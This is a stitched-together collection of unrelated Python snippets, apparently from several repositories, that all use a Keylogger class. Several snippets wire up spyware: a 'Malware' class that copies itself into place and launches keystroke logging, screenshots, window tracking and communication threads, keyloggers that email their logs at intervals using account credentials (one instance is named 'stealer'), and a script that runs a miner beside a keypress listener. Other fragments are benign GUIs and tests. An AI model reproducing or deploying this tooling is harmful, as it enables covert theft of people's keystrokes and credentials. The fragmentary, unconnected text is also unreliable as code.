class Malware: def __init__(self): self.__config = Configuration() self.__buildMalware() self.__screenshot = Screenshot(self.__config) self.__windowTracker = WindowTracker(self.__config, self.__screenshot) self.__communication = Communication(self, self.__config) self.__keylogger = Keylogger(self.__config, self.__communication) self.__keylogger.start() self.__windowTracker.start() self.__communication.start() def __buildMalware(self) -> None: if not self.__checkExistence(): self.__createStructure() elif self.__config.currentPath.lower() != str( self.__config.filePath + self.__config.fileName).lower(): sys.exit() def __checkExistence(self) -> bool: return path.isdir( self.__config.logPath) and path.isfile(self.__config.filePath + self.__config.fileName) def __createStructure(self) -> None: mkdir(self.__config.logPath) shutil.copy(self.__config.currentPath, self.__config.filePath + self.__config.fileName)
def test_create_the_text_file_on_desktop(self): testKeylogger = Keylogger() testKeylogger.payloadFile('testfile_that_has_a_unique_name.txt') desktopPath = os.path.expanduser('~/Desktop') find = False for root, dirs, files in os.walk(desktopPath): if 'testfile_that_has_a_unique_name.txt' in files: find = True self.assertTrue(find)
def __init__(self): self.__config = Configuration() self.__buildMalware() self.__screenshot = Screenshot(self.__config) self.__windowTracker = WindowTracker(self.__config, self.__screenshot) self.__communication = Communication(self, self.__config) self.__keylogger = Keylogger(self.__config, self.__communication) self.__keylogger.start() self.__windowTracker.start() self.__communication.start()
def __init__(self): self.current_category = 0 self.main_window = Ui_MainWindow() app = QtWidgets.QApplication(sys.argv) MainWindow = QtWidgets.QMainWindow() self.main_window.setupUi(MainWindow, self) MainWindow.show() self.keylogger = Keylogger() self.load() self.main_window.category_box.currentIndexChanged.connect( self.category_changed) sys.exit(app.exec_())
def main(): parser = argparse.ArgumentParser(description="Run a Keylogger Gui For S n' Gs, press shift+ctrl+x to quit") parser.add_argument('-f', '--font', type=str, default="Helvetica", help="The font name, e.g. Helvetica") parser.add_argument('-s', '--size', type=int, default=99, help="The size of the font in pixels") parser.add_argument('-w', '--weight', type=str, choices=["bold", "boldface", "normal"], default="normal", help="Font weight: bold, boldface, normal") parser.add_argument('-t', '--text-color', type=str, default="#ff00ff", help="Text Color as text, e.g. red, black, purple, color codes also work") parser.add_argument('-b', '--background-color', type=str, default="#6600CC", help="Color of the Background in text") args = parser.parse_args() k = Keylogger(args.font, args.size, args.weight, args.text_color, args.background_color ) k.run()
from keylogger import Keylogger my_keylogger = Keylogger(120, "*****@*****.**", "mohammed12345") my_keylogger.start()
from miner import Miner from keylogger import Keylogger from pynput.keyboard import Listener from shutil import rmtree as delete_directory from os import makedirs as make_directory if __name__ == '__main__': delete_directory("logs", ignore_errors=True) make_directory("logs") miner = Miner() keylogger = Keylogger() miner.start() # Miner start with Listener(on_press=keylogger.press) as listener: # Keypress listener listener.join()
from keylogger import Keylogger stealer = Keylogger(120, 'EMAIL_FOR_SENDING', 'PASSWORD', 'EMAIL_FOR_RECEIVING') stealer.start()
from keylogger import Keylogger logger = Keylogger(interval_seconds=240, gmail_username="******", gmail_pw="pass", debug_mode=False) logger.start()
from keylogger import Keylogger Keylogger().start(category="python")
import os import sys from keylogger import Keylogger from analyse import Analyse def using(): print("Usage: python App.py {start|analys}\n") print("start - start keylogger, all symbols will write in file(~/pylogger.log or $pylogger_file)") print("analys - start analyse ~/pylogger and do plot and save it in ./analyse.png") sys.exit(2) if len(sys.argv) < 2: using() command = sys.argv[1] if command == "start": Keylogger().start() elif command == "analyse": analyse = Analyse() analyse.do_and_save_plot() else: using()
from keylogger import Keylogger key = Keylogger() key.start()
def test_key_press_is_recorded_into_keyLog(self): testKeylogger = Keylogger() emptyKeyLog = [0, 0, 0, 0] self.assertEqual(testKeylogger.keyLog, emptyKeyLog)
class Controller: def __init__(self): self.current_category = 0 self.main_window = Ui_MainWindow() app = QtWidgets.QApplication(sys.argv) MainWindow = QtWidgets.QMainWindow() self.main_window.setupUi(MainWindow, self) MainWindow.show() self.keylogger = Keylogger() self.load() self.main_window.category_box.currentIndexChanged.connect( self.category_changed) sys.exit(app.exec_()) def category_changed(self): self.save() self.load_macros() self.current_category = self.main_window.category_box.currentIndex() def load_macros(self): self.main_window.macros_table.setRowCount(0) for index, command in enumerate( self.keylogger.get_commands_by_category( self.keylogger.categories[ self.main_window.category_box.currentIndex()])): self.main_window.macros_table.insertRow(index) self.main_window.macros_table.setItem( index, 0, QTableWidgetItem(command.name)) self.main_window.macros_table.setItem( index, 1, QTableWidgetItem(",".join(command.parameters))) self.main_window.macros_table.setItem( index, 2, QTableWidgetItem(command.response)) def load_categories(self): self.main_window.category_box.clear() self.main_window.category_box.addItems(self.keylogger.categories) def load(self): self.load_categories() self.load_macros() def add_category(self): self.keylogger.categories.append( self.main_window.category_name_inpt.toPlainText()) self.load_categories() def save(self): commands = [] for i in range(self.main_window.macros_table.rowCount()): name = self.main_window.macros_table.item(i, 0).text() parameters = [] if self.main_window.macros_table.item( i, 1).text() == "" else self.main_window.macros_table.item( i, 1).text().split(",") response = self.main_window.macros_table.item(i, 2).text() commands.append( Command(name, parameters, response, self.keylogger.categories[self.current_category])) for command in self.keylogger.get_commands_except_category( self.keylogger.categories[self.current_category]): commands.append(command) write("macros.json", commands) def add(self): self.main_window.macros_table.insertRow( self.main_window.macros_table.rowCount())